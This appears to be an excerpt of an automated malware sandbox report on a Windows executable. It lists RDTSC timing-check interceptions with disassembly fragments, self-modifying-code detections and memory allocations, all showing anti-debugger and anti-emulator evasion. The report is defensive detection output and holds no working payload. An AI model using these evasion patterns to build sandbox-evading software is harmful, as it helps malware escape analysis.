Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87F932 second address: 87F951 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F8C58F36AD6h 0x00000009 js 00007F8C58F36AD6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jmp 00007F8C58F36ADBh 0x00000019 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87FD95 second address: 87FDC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnc 00007F8C59059F0Eh 0x0000000b jmp 00007F8C59059F19h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87FDC5 second address: 87FDE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C58F36AE8h 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 880879 second address: 88087D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 88087D second address: 880887 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8C58F36AD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 880F9F second address: 880FBB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8C59059F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jns 00007F8C59059F06h 0x00000011 jo 00007F8C59059F06h 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 880FBB second address: 880FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 880FC1 second address: 880FC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 888546 second address: 88854C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 88854C second address: 888556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 888556 second address: 888583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8C58F36ADFh 0x0000000d jmp 00007F8C58F36AE6h 0x00000012 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8880FB second address: 88810C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jne 00007F8C59059F06h 0x00000011 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 88810C second address: 888125 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C58F36AE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 888125 second address: 88813C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C59059F12h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 888291 second address: 88829C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8C58F36AD6h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 894E51 second address: 894E74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F8C59059F06h 0x00000009 jc 00007F8C59059F06h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F8C59059F10h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 895006 second address: 89500A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 89500A second address: 895020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F8C59059F0Eh 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 898A71 second address: 898A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F8C58F36AD6h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8987A9 second address: 8987B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F8C59059F06h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8987B5 second address: 8987B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8A874A second address: 8A8750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8A85EE second address: 8A860C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8C58F36AF0h 0x00000008 jmp 00007F8C58F36AE4h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8A860C second address: 8A863A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C59059F17h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jmp 00007F8C59059F0Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8A863A second address: 8A863E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8A9D5F second address: 8A9D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8C59059F13h 0x0000000a push edx 0x0000000b jnc 00007F8C59059F06h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8A9D80 second address: 8A9D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8AF7B6 second address: 8AF7D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8C59059F06h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8C59059F0Eh 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8AF7D3 second address: 8AF7E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F8C58F36AD6h 0x00000010 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8B5FDB second address: 8B5FFE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8C59059F06h 0x00000008 jp 00007F8C59059F06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jng 00007F8C59059F0Eh 0x00000016 jl 00007F8C59059F06h 0x0000001c pushad 0x0000001d popad 0x0000001e pop edx 0x0000001f pushad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8B492B second address: 8B4930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8B4D24 second address: 8B4D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8B4D36 second address: 8B4D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8C58F36AD6h 0x0000000a jmp 00007F8C58F36ADAh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8B4FCC second address: 8B4FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8B4FD2 second address: 8B4FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C58F36ADEh 0x00000009 popad 0x0000000a jl 00007F8C58F36AD8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8B5125 second address: 8B5130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8C59059F06h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8B5130 second address: 8B5137 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8B5C89 second address: 8B5C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8B5C91 second address: 8B5CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C58F36AE0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8BA04F second address: 8BA058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8D3428 second address: 8D3438 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jg 00007F8C58F36AD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8D62AF second address: 8D62CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C59059F16h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8D62CA second address: 8D62D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F8C58F36AD6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8D62D6 second address: 8D62DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E5D68 second address: 8E5D7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F8C58F36AD6h 0x0000000d js 00007F8C58F36AD6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E5D7D second address: 8E5DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F8C59059F15h 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F8C59059F06h 0x00000015 jmp 00007F8C59059F13h 0x0000001a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7CDA2F second address: 7CDA39 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8C58F36AD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E62E5 second address: 8E62ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E62ED second address: 8E62F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E62F9 second address: 8E6303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E6303 second address: 8E630B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E6479 second address: 8E6487 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F8C59059F06h 0x0000000e rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E6487 second address: 8E648B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E648B second address: 8E64AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 jc 00007F8C59059F06h 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F8C59059F06h 0x00000018 jmp 00007F8C59059F0Bh 0x0000001d rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E64AE second address: 8E64C7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8C58F36AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F8C58F36ADBh 0x00000013 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E660E second address: 8E6614 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E6614 second address: 8E6628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8C58F36ADCh 0x0000000d rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E68E2 second address: 8E68FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C59059F17h 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E68FD second address: 8E691D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F8C58F36AE6h 0x0000000f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E691D second address: 8E6921 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E6921 second address: 8E692B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8E823E second address: 8E8242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8EAA90 second address: 8EAA94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8EAB10 second address: 8EAB15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8EAB15 second address: 8EAB1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8EAD59 second address: 8EAD5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8EC3AB second address: 8EC3C1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C58F36AD6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jbe 00007F8C58F36AD6h 0x00000016 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8EC3C1 second address: 8EC410 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F8C59059F19h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F8C59059F17h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8C59059F0Fh 0x00000019 jng 00007F8C59059F06h 0x0000001f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 50603DF second address: 50603E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 50603E3 second address: 5060463 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F8C59059F19h 0x00000010 adc ax, 4BB6h 0x00000015 jmp 00007F8C59059F11h 0x0000001a popfd 0x0000001b movzx ecx, dx 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 pushad 0x00000022 push edx 0x00000023 push ecx 0x00000024 pop edx 0x00000025 pop eax 0x00000026 pushfd 0x00000027 jmp 00007F8C59059F11h 0x0000002c sub si, B7C6h 0x00000031 jmp 00007F8C59059F11h 0x00000036 popfd 0x00000037 popad 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F8C59059F0Dh 0x00000040 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 809F99 second address: 809F9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 809F9D second address: 809FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8C59059F12h 0x0000000f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80A17D second address: 80A181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80A181 second address: 80A187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80A187 second address: 80A18D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80A18D second address: 80A191 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Special instruction interceptor: First address: 653CED instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Special instruction interceptor: First address: 7FCD88 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Special instruction interceptor: First address: 6512B6 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Special instruction interceptor: First address: 653BF2 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Special instruction interceptor: First address: 653C5C instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Special instruction interceptor: First address: 889C3E instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory allocated: 32F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory allocated: 34F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory allocated: 3320000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory allocated: 6120000 memory reserve \| memory write watch	Jump to behavior
